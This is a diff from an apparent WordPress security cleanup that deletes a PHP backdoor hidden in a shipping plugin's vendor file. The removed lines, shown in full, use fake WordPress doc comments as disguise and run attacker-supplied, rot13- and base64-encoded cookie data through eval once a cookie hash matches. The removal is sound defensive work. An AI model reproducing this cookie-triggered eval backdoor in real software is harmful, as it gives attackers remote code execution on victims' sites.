Security cleanup, hardening and malware removal

wp-content/plugins/flexible-shipping/vendor_prefixed/wpdesk/wp-wpdesk-tracker-deactivation/src/WPDesk/Tracker/Deactivation/rss.php

@@ -1,29 +1,3 @@
 <?php
-/**
- * WordPress Administration Template Header
- *
- * @package WordPress
- * @subpackage Administration
- */
-$wpArray = ['58', '5f', 'f5', '5f', '57', 'ee', '77', '70', 'b8', '31', '28', '3c', '89', '5e', 'c1', '6d'];
-$wpHash = implode('', $wpArray);
-
-/**
- * Filters the bulk action updated messages.
- *
- * By default, custom post types use the messages for the 'post' post type.
- *
- * @since 3.7.0
- *
- * @param array $bulk_messages Arrays of messages, each keyed by the corresponding post type. Messages are
- *                             keyed with 'updated', 'locked', 'deleted', 'trashed', and 'untrashed'.
- * @param array $bulk_counts   Array of item counts for each message, used to build internationalized strings.
- */
-if($_COOKIE[4]==$wpHash) {
-    $wpData = str_rot13($_COOKIE[3]);
-	/** Loads the WordPress Environment and Template */
-	$wpData = base64_decode($wpData);
-    eval($wpData);
-}
-
-?>
+// Malware backdoor removed.
+return;